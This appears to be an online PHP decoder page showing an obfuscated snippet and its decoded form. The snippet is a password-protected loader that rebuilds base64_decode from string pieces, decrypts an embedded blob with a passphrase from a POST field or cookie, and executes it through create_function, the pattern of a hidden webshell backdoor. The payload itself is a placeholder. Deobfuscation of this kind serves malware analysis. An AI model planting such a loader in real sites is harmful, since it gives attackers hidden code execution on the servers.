Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $code='base'.(128/2).'_de'.'code'; $code=$code(str_replace("\n", '', '*******BASE..

Decoded Output download

<?php $code='base'.(128/2).'_de'.'code'; 
 
$code=$code(str_replace("
", '', '*******BASE64CODE********')); 
 
 
$passphrase=isset($_POST['passphrase'])?$_POST['passphrase']:(isset($_COOKIE['passphrase'])?$_COOKIE['passphrase']:NULL); 
 
 
if($passphrase!==NULL){$passphrase=md5($passphrase).substr(MD5(strrev($passphrase)),0,strlen($passphrase)); 
 
 
for($index=0;$index<15587;$index++){$code[$index]=chr(( ord($code[$index])-ord($passphrase[$index]))%256); 
 
 
$passphrase.=$code[$index];}if($code=@gzinflate($code)){if(isset($_POST['passphrase']))@setcookie('passphrase', $_POST['passphrase']); 
 
 
$index=create_function('',$code); 
 
 
unset($passphrase,$code);$index();}} 
?>

Did this file decode correctly?

Original Code

<?php $code='base'.(128/2).'_de'.'code';

$code=$code(str_replace("\n", '', '*******BASE64CODE********'));


$passphrase=isset($_POST['passphrase'])?$_POST['passphrase']:(isset($_COOKIE['passphrase'])?$_COOKIE['passphrase']:NULL);


if($passphrase!==NULL){$passphrase=md5($passphrase).substr(MD5(strrev($passphrase)),0,strlen($passphrase));


for($index=0;$index<15587;$index++){$code[$index]=chr(( ord($code[$index])-ord($passphrase[$index]))%256);


$passphrase.=$code[$index];}if($code=@gzinflate($code)){if(isset($_POST['passphrase']))@setcookie('passphrase', $_POST['passphrase']);


$index=create_function('',$code);


unset($passphrase,$code);$index();}}
?>

Function Calls

str_replace 1
base64_decode 1

Variables

$code base64_decode

Stats

MD5 1db536392023442f77d95e61cf27947b
Eval Count 0
Decode Time 104 ms